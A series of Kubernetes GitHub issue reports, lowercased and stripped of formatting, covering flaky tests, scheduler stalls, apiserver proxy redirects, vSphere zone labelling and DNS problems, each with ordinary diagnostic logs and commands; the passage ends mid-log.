@kubernetes/sig-scalability-bugs

flaky job: pr:pull-kubernetes-e2e-gce-etcd3  flakes in the past week:   95    consistency:   92.80%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 44 | | teardown | 30 | |  k8s.io  deployment deployment should support rollover | 19 |   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | kargakis |  k8s.io  deployment deployment should support rollover | | sig/apps |  k8s.io  deployment deployment should support rollover |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

last kubemark-scale  test  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/482  failed with an error:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/perf/density.go:771\r expected error:\r     < url.error | 0xc4a3cfc240>: {\r         op: \ get\ ,\r         url: \ https://104.154.194.87/api/v1/namespaces/e2e-tests-density-30-23-wzf41/replicationcontrollers/density-latency-pod-1922\ ,\r         err: {\r             s: \ http2: no cached connection was available\ ,\r         },\r     }\r     get https://104.154.194.87/api/v1/namespaces/e2e-tests-density-30-23-wzf41/replicationcontrollers/density-latency-pod-1922: http2: no cached connection was available\r not to have occurred\r    \r \r we make test more resilient to such errors, but first i'd like to know if we should  i.e. do we expect such errors to occur . @kubernetes/sig-api-machinery-misc @timothysc @smarterclayton @kubernetes/sig-scalability-misc

is this a bug report or feature request?  :\r  \r   what happened  :\r  make test  on darwin fails for two packages\r    \r --- fail: testrestoreallwaitoldiptablesrestore  0.00s \r \tiptables_test.go:1096: expected success, got iptables unsupported on this platform\r --- fail: testrestoreallgrabnewlock  0.00s \r \tiptables_test.go:1149: expected to lock xtables.lock, got iptables unsupported on this platform\r \tiptables_test.go:1157: expected timeout error, got iptables unsupported on this platform\r --- fail: testrestoreallgraboldlock  0.00s \r \tiptables_test.go:1187: expected to lock @xtables, got listen unix @xtables: bind: address already in use\r fail\r fail\tk8s.io/kubernetes/pkg/util/iptables\t0.025s\r    \r    \r --- fail: testloopbackhostport  0.00s \r \tconfig_selfclient_test.go:41: expected host to start with 127., got \ ::1\ \r   ...\r fail\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server\t2.136s\r    \r   what you expected to happen  :\r these tests should pass on darwin / osx, or be skipped if they're linux-specific.   our docs on unit tests  https://github.com/kubernetes/community/blob/master/contributors/devel/testing.md unit-tests  say they should pass on all platforms.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make test  on darwin\r \r   anything else we need to know?  :\r - the first failure looks like it just needs to be skipped on darwin, someone is welcome to take this on, i may not get to this right away\r  - the second failure is addressed by https://github.com/kubernetes/kubernetes/pull/47203\r  \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration  : macbook pro\r - os  e.g. from /etc/os-release : os x 10.11.6\r - kernel  e.g.  uname -a  :  darwin cloudtop.local 15.6.0 darwin kernel version 15.6.0: tue apr 11 16:00:51 pdt 2017; root:xnu-3248.60.11.5.3~1/release_x86_64 x86_64 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r  \r \r   what happened  :\r during a rolling replacement of all nodes, kube-scheduler stops making progress\r \r it gets stuck on nodes that have been deleted by controller-manager\r \r restarting it allows it to make progress again\r \r   what you expected to happen  :\r for it to keep going\r \r   how to reproduce it  as minimally and precisely as possible   :\r delete nodes without restarting kube-scheduler\r \r \r   anything else we need to know?  :\r \r note how it's failing on podantiaffinity, but the only scheduled pods that match aren't in cr2\r \r    \r e0825 11:31:36.510999       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511138       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511174       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-1-1503591832' not found\r e0825 11:31:36.511220       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-1-1503591832' not found\r e0825 11:31:36.511263       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511292       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511399       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511424       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511471       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-3-1503591832' not found\r e0825 11:31:36.511511       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-1-1503591832' not found\r e0825 11:31:36.511537       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-1-1503591832' not found\r e0825 11:31:36.511583       1 predicates.go:1153  failed to get all terms that pod kube-system/kube-scheduler-3153213877-kzs9j matches, err: node 'kubernetes-vector-kubernetes-cr2-1-1503591832' not found\r i0825 11:31:36.511664       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-scheduler-3153213877-kzs9j\ , uid:\ e13654c5-8980-11e7-8d3c-fa163ec406ee\ , apiversion:\ v1\ , resourceversion:\ 71954036\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' no nodes are available that match all of the following predicates:: insufficient cpu  1 , matchinterpodaffinity  12 .\r  this is repeated for all pods. no pods are being scheduled \r \r \r $ k get pod --all-namespaces -o wide -l k8s-app=kube-scheduler\r namespace     name                              ready     status    restarts   age       ip              node\r kube-system   kube-scheduler-3153213877-7l5tw   1/1       running   0          17h       172.31.124.12   kubernetes-vector-kubernetes-cr0-1-1503591832\r kube-system   kube-scheduler-3153213877-g7x9t   1/1       running   0          17h       172.31.94.17    kubernetes-vector-kubernetes-cr1-4-1503591832\r kube-system   kube-scheduler-3153213877-kzs9j   0/1       pending   0          1h        <none>  \r \r \r $ k get node\r name                                            status    age       version\r kubernetes-vector-kubernetes-cr0-1-1503591832   ready     17h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr0-2-1503591832   ready     17h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr0-3-1503591832   ready     17h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr0-4-1503591832   ready     17h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr1-1-1503591832   ready     18h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr1-2-1503591832   ready     18h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr1-3-1503591832   ready     17h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr1-4-1503591832   ready     17h       v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr2-1-1503655613   ready     1h        v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr2-2-1503655613   ready     1h        v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr2-3-1503655613   ready     1h        v1.7.4+coreos.0\r kubernetes-vector-kubernetes-cr2-4-1503655613   ready     59m       v1.7.4+coreos.0\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3+coreos.0\ , gitcommit:\ 42de91f04e456f7625941a6c4aaedaa69708be1b\ , gittreestate:\ clean\ , builddate:\ 2017-08-07t19:44:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - install tools: self-hosted\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r when accessing a service  e.g.,  zipkin   by using the apiserver proxy feature and the service returns  302 found  with  location  header, such as\r    \r curl http://159.146.11.73:8080/api/v1/namespaces/default/services/zipkin/proxy/ -vvv\r ... \r < http/1.1 302 found\r < location: http://159.146.11.73:8080/zipkin/\r ...\r    \r the returned  location  header does not preserve the  api/v1/namespaces/.../proxy/  path if the service sent a redirect with an absolute path. \r \r depending on the cluster, the  location  header written by the service itself might have been  < location: http://zipkin:9411/zipkin/  and the apiserver proxy did rewrite the _host_:_port_ to match the correct values. unfortunately, it did not rewrite the path segment. \r \r   what you expected to happen  :\r i would expect the apiserver to rewrite the path segment of the  location  response header so that it reflects the fact that it's proxied under the  api/v1/.../proxy/  path:\r    \r < http/1.1 302 found\r < location: http://159.146.11.73:8080/api/v1/namespaces/default/services/zipkin/proxy/zipkin/\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r export kubeconfig=/path/to/your/kubeconfig\r \r   use helm to install istio which includes zipkin, unfortunately, there is no chart for zipkin only\r helm repo add incubator http://storage.googleapis.com/kubernetes-charts-incubator\r helm install --name test incubator/istio\r \r kubectl proxy\r curl -vvv http://localhost:8001/api/v1/namespaces/default/services/test-istio-zipkin:http/proxy/\r ...\r < http/1.1 302 found\r < location: http://localhost:8001/zipkin/\r < content-type: text/plain; charset=utf-8\r ...\r    \r the  /api/v1/namespaces/default/services/test-istio-zipkin:http/proxy  path was not preserved. \r \r   anything else we need to know?  :\r to work around this issue, a service may return strictly a relative url in the  location  header such as:\r    \r < location: ./zipkin/\r    \r the feature to rewrite  location  headers is quite common. for instance, apache httpd does it thanks to: http://httpd.apache.org/docs/2.2/mod/mod_proxy.html proxypassreverse\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r % kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t19:32:12z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : _custom_\r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts \r - kernel  e.g.  uname -a  :  4.4.0-89-generic \r \r

flaky job: pr:pull-kubernetes-e2e-gce\r     consistency:  84.5%  http://storage.googleapis.com/k8s-metrics/job-flakes-latest.json \r \r    flakiest test : cluster level logging implemented by stackdriver should ingest events\r     flakes in the past week:  27  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r    failures in testgrid\r this test consistently fails for gce and gke multizone clusters:\r https://k8s-testgrid.appspot.com/google-gke gci-gke-multizone\r https://k8s-testgrid.appspot.com/google-gce gce-multizone\r \r also fails intermittently in e2e-gce job\r https://k8s-testgrid.appspot.com/sig-instrumentation gce&include-filter-by-regex=cluster%20level%20logging%20implemented%20by%20stackdriver%20should%20ingest%20events\r \r    triage link\r more nuanced logs and details can be found at https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=cluster%20level%20logging%20implemented%20by%20stackdriver%20should%20ingest%20events\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/logging/stackdrvier/basic.go:141\r expected error:\r     < errors.errorstring | 0xc4214ae9a0>: {\r         s: \ timed out waiting for ingestion, still not ingested: \ ,\r     }\r     timed out waiting for ingestion, still not ingested: \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/logging/stackdrvier/basic.go:171\r \r \r / /  /sig-instrumentation\r \r @piosz @crassirostris - can you please triage? i saw a  similar issue  60882  https://github.com/kubernetes/kubernetes/issues/60882  closed sometime back.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   \r   what happened  :\r currently, the vsphere cloud provider  vcp  does not implement discovering zones/failure domains based on well-known labels out of the box. to quote the docs:\r \r > on the node: kubelet populates this with the zone information as defined by the cloud provider. it will not be set if not using a cloud provider, but you should consider setting it on the nodes if it makes sense in your topology.\r \r the consequences for users are:\r \r - nodes  kubelets  not correctly being distributed on the vsphere cluster  risk of cascading failure \r - manual configuration is needed, which can be error-prone  as a workaround, govc can be used in deployment scripts, see this pr \r - configuration drift and possible kubernetes scheduling violations  e.g. breaking pod anti-affinity rules by vmotioning two kubelet vms on the same esxi host  when the cluster is ha/drs enabled\r - possible implications with persistent volume scheduling decisions and performance impact due to day 2 drift  depending on underlying storage implementation \r - possible implications with higher-level orchestration tools, like bosh, where labelling and placement decisions are violated\r \r   what you expected to happen  :\r vcp should populate kubernetes  well-known labels  https://kubernetes.io/docs/reference/labels-annotations-taints/ well-known-labels-annotations-and-taints  in order for the scheduler  default scheduling policy  and end user  affinity/anti-affinity settings  to work out of the box in a vsphere environment.\r \r vcp should also be able to reconcile labels, e.g. in case of a vm failover  ha  or drs being enabled in a vsphere cluster, e.g. \ should\  rules to balance host utilization within a rack/failure domain.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a vcp enabled kubernetes cluster\r - create pods with anti-affinity\r - observe how kubernetes scheduler places pods, not being aware of the underlying topology  especially in case of drs/ha \r \r   anything else we need to know?  :\r discussed the following two-step approach with vmware kubernetes engineering team:\r \r   phase 1:  \r implement basic functionality for vcp to support zones. this requires consensus on what a zone and region maps to in a vsphere environment. e.g. a region could map to a vsphere data center and a zone to a vsphere drs/ha enabled cluster. vmware cloud on aws  vmc  multi-az deployments would nicely map.\r \r but that might conflict with customer on-premises environments, where a single vsphere cluster is stretched between two sites/data center buildings, i.e. from a logical perspective single vsphere data center and cluster.\r \r this is why a labelling  tagging  mechanism must be employed. a vsphere or kubernetes cluster operator would define and apply vsphere tags to data centers, clusters and esxi hosts. for example:\r \r - category \ region\ \r   - tag:\r     - emea\r     - us\r - category \ zone\ \r   - tag:\r     - de-k8s\r     - de-k8s-1\r     - de-k8s-2\r     - ca-k8s\r     - ca-k8s-1\r     - wa-k8s\r     - wa-1 \r \r in the stretched cluster example mentioned above that tagging/labeling scheme would translate to:\r \r - vsphere data center: region tag \ emea\ \r - vsphere kubernetes cluster: zone tag \ de-k8s\ \r - vsphere esxi hosts in cluster \ de-k8s\  stretched site 1: zone tag \ de-k8s-1\ \r - vsphere esxi hosts in cluster \ de-k8s\  stretched site 2: zone tag \ de-k8s-2\ \r \r each kubelet vm running on esxi, through a to be defined local  i.e. 169.x.y.z, no external network call  metadata service, would query the pre-defined tags and translate them into region/zone labels. to continue with the stretched cluster example:\r \r - kubelet vm-1 running on esxi-1 in site 1: \r   -  failure-domain.beta.kubernetes.io/region=emea \r   -  failure-domain.beta.kubernetes.io/zone=de-k8s-1 \r - kubelet vm-2 running on esxi-2 in site 2: \r   -  failure-domain.beta.kubernetes.io/region=emea \r   -  failure-domain.beta.kubernetes.io/zone=de-k8s-2 \r - note: i've intentionally skipped conflict handling, e.g. multiple zone tags on different hierarchy levels  cluster, host  as well as drs affinity/anti-affinity vm-to-host/vm-to-vm settings\r \r   phase 2:  \r the in phase 1 suggested improvements on vcp zone support would solve initial placement and correct labelling of vms and kubelets in a vsphere environment. since many commercial kubernetes distributions, e.g. openshift, test and certify against vcp, enriching the vcp with this functionality would be a benefit for   all vsphere customers   running   any   kubernetes distribution.\r \r however, vsphere offers advanced features like dynamic cluster rebalancing and high availability for vms, which even in a kubernetes environment provide a lot of value. that's why on \ day 2\ , the initial labelling applied by the kubelet could change  e.g. after ha or vmotion/drs  and thus break kubernetes scheduling assumptions/decisions. \r \r this is why an monitoring/reconciliation control loop is needed. this could be implemented as a controller inside kubernetes and in fact was demonstrated by @anfernee during a recent sig vmware  community call  https://docs.google.com/document/d/1rv0nvtlpoatm0dqwnyxycc9lhfihptnatyv4bek6xta/edit?usp=sharing .\r \r from a testing/certification perspective, vmware would need to work jointly with vendors of commercial kubernetes distributions so that this controller would be recommended and shipped out of the box for production environments and customers continue to gain the benefits of the vsphere platform, protecting their investment. \r \r @frapposelli @cantbewong\r \r   environment  :\r - kubernetes version  use  kubectl version  : all versions affected\r - cloud provider or hardware configuration: vsphere cloud provider\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: drs/ha enabled, no manual labelling applied, drs/ha rules  affinity, restart priority, etc.  not tuned/aligned with kubernetes topology\r \r   related issues/discussions  \r - https://github.com/kubernetes/kubernetes/pull/32147\r - https://github.com/kubernetes/kubernetes/issues/33576\r - https://groups.google.com/forum/ !topic/kubernetes-sig-vmware/bzujbhlxyls\r - vcp zone implementation as of kubernetes v1.10: https://github.com/kubernetes/kubernetes/blob/9d6d1a13aa273f81cab7bf87b775c3cb0c418d53/pkg/cloudprovider/providers/vsphere/vsphere.go l701\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r we have a deployment with replicas: 1\r we deploy it in a 3 agent node k8s cluster  k8s 1.8.13  and it gets deployed to a node  say agent node-0 . when i shutdown node-0, the rs does not get rescheduled  its been more than an hour now .\r i have checked that the selector labels are correct and we have plenty of capacity in the cluster  and also we don’t specify resource requests . also i checked that our node selectors are just checking for agent nodes and there are 2 other agent nodes available.\r is there any special treatments around this shutdown scenario that k8s does ?\r \r \r   what you expected to happen  :\r replica-set rescheduled in another node when the node  node-0 in this case  goes down.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

looking at say some of the end users of the cri api\r \r cri-o : https://github.com/kubernetes-sigs/cri-o/tree/master/vendor/k8s.io/kubernetes/pkg/kubelet\r kind : https://github.com/kubernetes-sigs/kind/tree/master/pkg/container/cri\r cri-containerd : https://github.com/containerd/cri/tree/master/vendor/k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2\r \r can we please use a staging/ repository and extract this out so folks don't have to vendor kubernetes/kubernetes directly?

what would you like to be added  :\r log functions in all the   .util  files/packages for the framework should be centralized into their own package outside of the framework.\r \r   why is this needed  :\r as part of  76206. avoids import cycles and encourage further breaking down of the large framework package.\r \r  /area test\r /area test-framework\r 

what happened  :\r when initializing client-go fake dynamic client, it requires an empty slice of objects or causes a panic:\r \r    go\r func    {\r     fake.newsimpledynamicclient runtime.newscheme  ,   runtime.object{}... \r }\r    \r \r   what you expected to happen  :\r the following not to panic\r \r    go\r func   {\r     fake.newsimpledynamicclient runtime.newscheme   \r }\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r use the fake dynamic client in client-go without a list of initial objects  or nil \r    go\r fake.newsimpledynamicclient runtime.newscheme  ,   runtime.object{}... \r

the kubernetes method that creates routes doesn't handle persistent failures gracefully.  it's in effect a loop that runs once per n seconds, where each loop is: for every route that should exist that doesn't:  gce.create_route etc & : https://github.com/kubernetes/kubernetes/blob/ae9f7c8ff895726f5e483449caa55e2e8a4b294e/pkg/controller/route/routecontroller.go l71  if, e.g. a user has 100 routes quota, but creates a 200 node cluster  or resizes an existing cluster to that size , then the above loop will  a  continuously spam the underlying cloud provider api with create route requests,  b  k8s will happily schedule pods onto nodes without routes, and  c  users have no/little visibility into why nodes/pods aren't working.  p1 would be to stop spamming api calls when route creation persistently failure, because for many providers that's a finite qps limit and exceeding it can cause other provider requests to fail for that project.  presumably dropping to ~1 qps or lower would be okay?  @thockin tim, you understand this space better than i -- can you please triage and file other issues at whatever  think appropriate if a single issue is too broad?   and we'll add better route quota checks to gke on cluster create, but that's not a perfect fix.

forked from https://github.com/kubernetes/kubernetes/pull/26001  to make debian-based node compatible with docker 1.11.x, i updated both /proc/sys/kernel/keys/root_maxkey and /proc/sys/kernel/keys/root_maxbytes. also other kubernetes components do the similar thing. for example, kube_proxy: https://github.com/kubernetes/kubernetes/blob/dae5ac482861382e18b1e7b2943b1b7f333c6a2a/cmd/kube-proxy/app/conntrack.go l42  we should clean up those configurations into one common place.

hello  i try currently to reach a service over the proxy but it seems it's only compatible with http: https://url-to-master/api/v1/proxy/namespaces/testing/services/testing/myservice/  as soon as i use https in the service, the proxy tries to establish a http connection and fails. is this currently not supported or a bug?  kubernetes: 1.2.4  thanks manuel

cc @jianhuiz as per https://github.com/kubernetes/kubernetes/pull/31904 issuecomment-244505671  per design below.  current e2e tests do not cover that functionality.      type federatedreplicasetpreferences struct {     // map from cluster name to preferences for that cluster. it is assumed that if a cluster      // doesn’t have a matching entry then it should not have local replica. the cluster matches      // to \  \  if there is no entry with the real cluster name.      clusters map string localreplicasetpreferences }  type localreplicasetpreferences struct {      // there should be at least this amount of replicas in the clusters. 0 if not specified.     minreplicas int     // there should be at most this number of replicas in the cluster. unbounded      // if not specified.     maxreplicas  int     //  this weight should be used when spreading replicas across clusters     weight int }

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r petset\r dns\r statefulset\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : minikube 0.14.0\r -   os    e.g. from /etc/os-release : debian\r \r   what happened  :\r dns appears to not register host names for petset members  e.g. mongo-0.mongo...  until that pod passes a readiness check.\r \r this is problematic because you may want to configure everything to use that hostname  e.g. registering a replication participant with mong  prior to declaring that the cluster is ready.\r \r given that there is nothing about readiness in the dns address  unlike a traditional service  we\r should register dns before the pod is \ ready\ .\r \r i suspect this is because we are re-using the standard endpoints controller here, we probably need\r a special case for stateful set.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a statefulset with a readiness delay of 20 seconds.\r exec into the pod and try to resolve the dns address of the pod\r observe it fails.\r wait until the pod is ready\r observe it works.\r \r   anything else do we need to know  :\r nope\r \r @bprashanth @smarterclayton

kubernetes clusters using shared linux bridge networking docker, flannel, kubenet?  for connecting the containers with in the same host are prone to cross-container man-in-the-middle attacks through arp spoofing/poisoning.\r here is an issue reported against lxc: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1548497\r \r i'm not sure whether this falls in the realm of cni network plugins or kubernetes. but, it would be a nice step towards a secure multi-tenant cluster to enable ebtables filtering rules by kubelet sync loop to disallow ethernet traffic out of the container with mac/ip address that was not assigned to the container.\r \r @thockin @smarterclayton  \r

is this a bug report or feature request?    choose one :\r enhancement/clean-up\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   description  :\r according to the following comments of kubelet, we should remove  deprecated flags since 1.5 and introduce  standalone  flag. should be done in 1.8.\r \r   https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l361\r   https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/options/options.go l131\r \r

what happened  :\r lines 705-706 mutate the object but encode method should probably be only reading the source object. otherwise it can lead to data corruption in concurrent environment because it is a data race. users of this method probably do not expect such behaviour and it is not documented.\r \r https://github.com/kubernetes/kubernetes/blob/1b3836d5df302281a9db4b03bdc8fd5079142431/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/unstructured.go l696-l715\r \r   what you expected to happen  :\r it should not mutate the object but use a temporary one instead.\r \r  

is this a bug report or feature request?  :\r after https://github.com/kubernetes/kubernetes/pull/50582 , we can select pods for multi-scheduler. ps: if pod did not set schedulername, 'default' will be set as default value.\r \r  \r @kubernetes/sig-scheduling-misc

i trying to create easy ingress\r https://github.com/nginxinc/kubernetes-ingress/tree/master/examples/complete-example\r but i can't get access by host name of the ingress\r \r    \r $ kubectl describe ing -n test-ingress\r name:             cafe-ingress\r namespace:        test-ingress\r address:          \r default backend:  default-http-backend:80  <none> \r tls:\r   cafe-secret terminates cafe.example.com\r rules:\r   host              path  backends\r   ----              ----  --------\r   cafe.example.com  \r                     /tea      tea-svc:80  <none> \r                     /coffee   coffee-svc:80  <none> \r annotations:\r events:  <none>\r $ curl 10.108.121.88\r server address: 10.244.1.110:80\r server name: coffee-6c47b9cb9c-zgmmt\r date: 12/may/2018:18:04:26 +0000\r uri: /\r request id: 5c0d1b3a5d34bea85d1c5f3275f0db32\r $ curl cafe.example.com/tea\r curl:  6  could not resolve host: cafe.example.com\r \r    \r \r i see some error in kube-dns.\r details:\r \r    \r $ kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c kubedns\r i0504 08:49:57.219175       1 dns.go:48  version: 1.14.8\r i0504 08:49:57.250244       1 server.go:71  using configuration read from directory: /kube-dns-config with period 10s\r i0504 08:49:57.250276       1 server.go:119  flag: --alsologtostderr=\ false\ \r i0504 08:49:57.250285       1 server.go:119  flag: --config-dir=\ /kube-dns-config\ \r i0504 08:49:57.250291       1 server.go:119  flag: --config-map=\ \ \r i0504 08:49:57.250296       1 server.go:119  flag: --config-map-namespace=\ kube-system\ \r i0504 08:49:57.250301       1 server.go:119  flag: --config-period=\ 10s\ \r i0504 08:49:57.250307       1 server.go:119  flag: --dns-bind-address=\ 0.0.0.0\ \r i0504 08:49:57.250311       1 server.go:119  flag: --dns-port=\ 10053\ \r i0504 08:49:57.250318       1 server.go:119  flag: --domain=\ cluster.local.\ \r i0504 08:49:57.250325       1 server.go:119  flag: --federations=\ \ \r i0504 08:49:57.250330       1 server.go:119  flag: --healthz-port=\ 8081\ \r i0504 08:49:57.250335       1 server.go:119  flag: --initial-sync-timeout=\ 1m0s\ \r i0504 08:49:57.250339       1 server.go:119  flag: --kube-master-url=\ \ \r i0504 08:49:57.250345       1 server.go:119  flag: --kubecfg-file=\ \ \r i0504 08:49:57.250349       1 server.go:119  flag: --log-backtrace-at=\ :0\ \r i0504 08:49:57.250356       1 server.go:119  flag: --log-dir=\ \ \r i0504 08:49:57.250360       1 server.go:119  flag: --log-flush-frequency=\ 5s\ \r i0504 08:49:57.250366       1 server.go:119  flag: --logtostderr=\ true\ \r i0504 08:49:57.250372       1 server.go:119  flag: --nameservers=\ \ \r i0504 08:49:57.250379       1 server.go:119  flag: --stderrthreshold=\ 2\ \r i0504 08:49:57.250383       1 server.go:119  flag: --v=\ 2\ \r i0504 08:49:57.250387       1 server.go:119  flag: --version=\ false\ \r i0504 08:49:57.250394       1 server.go:119  flag: --vmodule=\ \ \r i0504 08:49:57.250543       1 server.go:201  starting skydns server  0.0.0.0:10053 \r i0504 08:49:57.251137       1 server.go:220  skydns metrics enabled  /metrics:10055 \r i0504 08:49:57.251159       1 dns.go:146  starting endpointscontroller\r i0504 08:49:57.251170       1 dns.go:149  starting servicecontroller\r i0504 08:49:57.251315       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0504 08:49:57.251347       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0504 08:49:57.751418       1 dns.go:170  initialized services and endpoints from apiserver\r i0504 08:49:57.751456       1 server.go:135  setting up healthz handler  /readiness \r i0504 08:49:57.751480       1 server.go:140  setting up cache handler  /cache \r i0504 08:49:57.751494       1 server.go:126  status http port 8081\r i0508 10:33:49.866206       1 dns.go:555  could not find endpoints for service \ elasticsearch1-elasticsearch-master\  in namespace \ default\ . dns records will be created once endpoints show up.\r i0508 10:48:59.377148       1 dns.go:555  could not find endpoints for service \ elasticsearch1-elasticsearch-master\  in namespace \ default\ . dns records will be created once endpoints show up.\r i0508 10:55:17.324177       1 dns.go:555  could not find endpoints for service \ elasticsearch1-elasticsearch-master\  in namespace \ default\ . dns records will be created once endpoints show up.\r i0508 13:55:58.100756       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0508 13:55:58.185223       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0508 13:55:58.227674       1 